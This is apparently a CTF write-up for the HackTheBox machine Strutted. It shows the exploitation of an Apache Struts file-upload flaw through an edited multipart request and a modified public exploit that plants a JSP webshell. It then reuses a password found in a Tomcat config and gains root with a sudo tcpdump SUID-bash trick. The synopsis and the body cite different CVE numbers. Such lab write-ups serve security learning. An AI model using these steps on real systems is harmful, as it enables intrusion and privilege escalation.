Post

HackTheBox Strutted

Writeup for HackTheBox Strutted

HackTheBox Strutted

Machine Synopsis

Strutted is an medium-difficulty Linux machine featuring a website for a company offering image hosting solutions. The website provides a Docker container with the version of Apache Struts that is vulnerable to CVE-2024-53677, which is leveraged to gain a foothold on the system. Further enumeration reveals the tomcat-users.xml file with a plaintext password used to authenticate as james. For privilege escalation, we abuse tcpdump while being used with sudo to create a copy of the bash binary with the SUID bit set, allowing us to gain a root shell. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p- --min-rate 10000 10.10.11.59

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

❯ nmap -p 22,80 -sC -sV 10.10.11.59

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets add the domain to the /etc/hosts file.

1
echo -e '10.10.11.59\tstrutted.htb' | sudo tee -a /etc/hosts

Check out the website.

webpage

It looks like a website for you to upload your image and get a shareable link for the uploaded image.

Clicking on the Download button downloads a strutted.zip file.

Unzip the strutted.zip file for further analysis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ unzip strutted.zip
❯ ls
Dockerfile  README.md  context.xml  strutted  strutted.zip  tomcat-users.xml

❯ cat Dockerfile
FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine

RUN apk add --no-cache maven

COPY strutted /tmp/strutted
WORKDIR /tmp/strutted

RUN mvn clean package

FROM tomcat:9.0

RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT

COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml

EXPOSE 8080

CMD ["catalina.sh", "run"]

It seems like the Docker is running Tomcat 9 that is using Java 17.

1
2
3
4
5
6
7
8
cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>

<tomcat-users>
    <role rolename="manager-gui"/>
    <role rolename="admin-gui"/>
    <user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
</tomcat-users>

There seems to be a credentials admin:skqKY6360z!Y in the tomcat-users.xml file. However, these credentials did not lead us to anywhere.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
cat strutted/src/main/java/org/strutted/htb/Upload.java
...
	String baseUploadDirectory = System.getProperty("user.dir") + "/webapps/ROOT/uploads/";
        File baseDir = new File(baseUploadDirectory);
        if (!baseDir.exists() && !baseDir.mkdirs()) {
            addActionError("Server error: could not create base upload directory.");
            return INPUT;
        }

        String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
        File timeDir = new File(baseDir, timeStamp);
        if (!timeDir.exists() && !timeDir.mkdirs()) {
            addActionError("Server error: could not create timestamped upload directory.");
            return INPUT;
        }

        String relativeImagePath = "uploads/" + timeStamp + "/" + uploadFileName;
        this.imagePath = relativeImagePath;
        String fullUrl = constructFullUrl(relativeImagePath);

        try {
            File destFile = new File(timeDir, uploadFileName);
            FileUtils.copyFile(upload, destFile);
            String shortId = generateShortId();
            boolean saved = urlMapping.saveMapping(shortId, fullUrl);
            if (!saved) {
                addActionError("Server error: could not save URL mapping.");
                return INPUT;
            }

            this.shortenedUrl = ServletActionContext.getRequest().getRequestURL()
                .toString()
                .replace(ServletActionContext.getRequest().getRequestURI(), "") + "/s/" + shortId;

            addActionMessage("File uploaded successfully <a href=\"" + shortenedUrl + "\" target=\"_blank\">View your file</a>");
            return SUCCESS;

        } catch (Exception e) {
            addActionError("Error uploading file: " + e.getMessage());
            e.printStackTrace();
            return INPUT;
        }
    }

    private boolean isAllowedContentType(String contentType) {
        String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
        for (String allowedType : allowedTypes) {
            if (allowedType.equalsIgnoreCase(contentType)) {
                return true;
            }
        }
        return false;
    }
    
	private boolean isImageByMagicBytes(File file) {
        byte[] header = new byte[8];
        try (InputStream in = new FileInputStream(file)) {
            int bytesRead = in.read(header, 0, 8);
            if (bytesRead < 8) {
                return false;
            }

            // JPEG
            if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
                return true;
            }

            // PNG
            if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
                return true;
            }

            // GIF (GIF87a or GIF89a)
            if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
                header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
                return true;
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

        return false;
    }
...

From the Upload.java file, we can observe that the upload function checks if it has valid Content-Type and checks for the Magic Bytes. Furthermore, the file will be uploaded to user_dir/webapps/ROOT/uploads/timeStamp/<file>.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
cat strutted/pom.xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <packaging>war</packaging>

    <artifactId>strutted</artifactId>
    <groupId>org.strutted.htb</groupId>
    <version>1.0.0</version>

    <name>Strutted™</name>
    <description>Instantly upload an image and receive a unique, shareable link. Keep your images secure, accessible, and easy to share—anywhere, anytime.</description>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <struts2.version>6.3.0.1</struts2.version>
        <jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
        <maven.javadoc.skip>true</maven.javadoc.skip>
        <jackson.version>2.14.1</jackson.version>
        <jackson-data-bind.version>2.14.1</jackson-data-bind.version>
    </properties>

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>javax.servlet-api</artifactId>
                <version>4.0.1</version>
                <scope>compile</scope>
            </dependency>

            <dependency>
                <groupId>org.apache.struts</groupId>
                <artifactId>struts2-core</artifactId>
                <version>${struts2.version}</version>
            </dependency>

            <dependency>
                <groupId>org.apache.struts</groupId>
                <artifactId>struts2-config-browser-plugin</artifactId>
                <version>${struts2.version}</version>
            </dependency>

            <dependency>
                <groupId>com.fasterxml.jackson.core</groupId>
                <artifactId>jackson-databind</artifactId>
                <version>${jackson-data-bind.version}</version>
            </dependency>
            <dependency>
                <groupId>com.fasterxml.jackson.dataformat</groupId>
                <artifactId>jackson-dataformat-xml</artifactId>
                <version>${jackson.version}</version>
            </dependency>


        </dependencies>
    </dependencyManagement>

    <dependencies>
        <dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts2-core</artifactId>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
        </dependency>
        <dependency>
          <groupId>org.xerial</groupId>
          <artifactId>sqlite-jdbc</artifactId>
          <version>3.47.1.0</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.eclipse.jetty</groupId>
                <artifactId>jetty-maven-plugin</artifactId>
                <version>${jetty-plugin.version}</version>
                <configuration>
                    <webApp>
                        <contextPath>/${project.artifactId}</contextPath>
                    </webApp>
                    <stopKey>CTRL+C</stopKey>
                    <stopPort>8999</stopPort>
                    <httpConnector>
                        <port>9999</port>
                    </httpConnector>
                    <scanIntervalSeconds>10</scanIntervalSeconds>
                </configuration>
            </plugin>
        </plugins>

        <pluginManagement>
            <plugins>
                <plugin>
                    <groupId>org.apache.maven.plugins</groupId>
                    <artifactId>maven-war-plugin</artifactId>
                    <version>3.4.0</version>
                </plugin>
            </plugins>
        </pluginManagement>

    </build>
</project>

There seems to be a list of dependencies listed in pom.xml but one of the dependency caught my attention because its called struts2 which happens to be similar to the name of the box.

Googling for struts 6.3.0.1 exploit shows us this critical vulnerability CVE-2023-50164 where attackers are able to manipulate file upload parameters that can potentially lead to RCE.

This Vicarius article explains the vulnerability quite nicely.

Exploitation

First lets create an arbitrary jpg file.

1
2
3
4
cat test.gif  
GIF89a;  

test

Upload the file and capture the request on Burp Suite.

uploading_test_gif

Lets try to test out the vulnerability. According to the article, we have to change the name="upload" to name="Upload" and upload a new parameter Content-Disposition: form-data; name="uploadFileName"; with the file location you desire. Additionally, we need to modify the last form boundary to delete the last couple of “-” characters, if any and add another at the end.

Before:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
------WebKitFormBoundaryDY0q13iLoBuWOTbJ

Content-Disposition: form-data; name="upload"; filename="test.gif"

Content-Type: image/gif



GIF89a;

test


------WebKitFormBoundaryDY0q13iLoBuWOTbJ--

After:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
------WebKitFormBoundaryDY0q13iLoBuWOTbJ

Content-Disposition: form-data; name="Upload"; filename="test.gif"

Content-Type: image/gif



GIF89a;

test



------WebKitFormBoundaryDY0q13iLoBuWOTbJ

Content-Disposition: form-data; name="uploadFileName";



hehe.txt

------WebKitFormBoundaryDY0q13iLoBuWOTbJ--

After forwarding the edited request, we observe that the share link consists of the arbitrary filename hehe.txt.

uploading_test_gif_modified

1
2
3
4
5
6
❯ git clone https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
❯ cd CVE-2023-50164-Apache-Struts-RCE
❯ python3 -m venv .venv
❯ source .venv/bin/activate
❯ cd exploit
❯ pip install -r requirements.txt

Before we can run the exploit succesfully, we need to modify the script a little.

1
2
3
4
5
6
7
8
9
10
11
cat exploit.py
...
NUMBER_OF_PARENTS_IN_PATH = 5 # change from 2 to 5 because user_dir/webapps/ROOT/uploads/timeStamp/<file>
...
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file_content = b"GIF89a;" + war_file_content # Added GIF magic bytes at the front
files = {
	HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"), # edited this part because we are using gif file
	HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
}
...

Run the exploit and get the shell.

1
2
3
4
5
6
7
8
9
❯ python3 exploit.py --url http://strutted.htb/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://strutted.htb/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[+] Successfully connected to the web shell.
CMD > whoami
tomcat

Enumerate the files for any interesting information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
CMD > ls -l         
total 12
lrwxrwxrwx 1 root   root     12 Jul 20  2022 conf -> /etc/tomcat9
drwxr-xr-x 2 tomcat tomcat 4096 Jan 15 14:30 lib
lrwxrwxrwx 1 root   root     17 Jul 20  2022 logs -> ../../log/tomcat9
drwxr-xr-x 2 root   root   4096 Feb 10 03:07 policy
drwxrwxr-x 4 tomcat tomcat 4096 Feb 10 04:04 webapps
lrwxrwxrwx 1 root   root     19 Jul 20  2022 work -> ../../cache/tomcat9

CMD > ls /etc/tomcat9
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml

CMD > cat /etc/tomcat9/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at      http://www.apache.org/licenses/LICENSE-2.0  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->
<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
<!--
  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>

Nice, we found another password IT14d6SSP81k. Lets dump the list of users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
CMD > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat9:/usr/sbin/nologin
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

Lets check which user is using this password using nxc.

1
2
3
4
5
❯ nxc ssh strutted.htb -u users.txt -p 'IT14d6SSP81k'
SSH         10.10.11.59     22     strutted.htb     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
...
SSH         10.10.11.59     22     strutted.htb     [*] Current user: 'james' was in 'sudo' group, please try '--sudo-check' to check if user can run sudo shell
SSH         10.10.11.59     22     strutted.htb     [+] james:IT14d6SSP81k  Linux - Shell access!

Lets SSH as james.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ ssh james@strutted.htb
The authenticity of host 'strutted.htb (10.10.11.59)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:24: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'strutted.htb' (ED25519) to the list of known hosts.
james@strutted.htb's password: IT14d6SSP81k
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Feb 10 04:40:34 AM UTC 2025

  System load:  0.0               Processes:             212
  Usage of /:   69.7% of 5.81GB   Users logged in:       0
  Memory usage: 14%               IPv4 address for eth0: 10.10.11.59
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan 21 13:46:18 2025 from 10.10.14.64
james@strutted:~$ cat user.txt 
ba7ee3908b7ba16d807bbdac299cd8d2

Privilege Escalation

Check what sudo privileges does james have.

1
2
3
4
5
6
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

According to GTFOBins, we can elevate our privileges by abusing tcpdump.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
james@strutted:~$ COMMAND='chmod 4777 /bin/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt 
ee7d46693ddd2eb777a2a161a56601ea
This post is licensed under CC BY 4.0 by the author.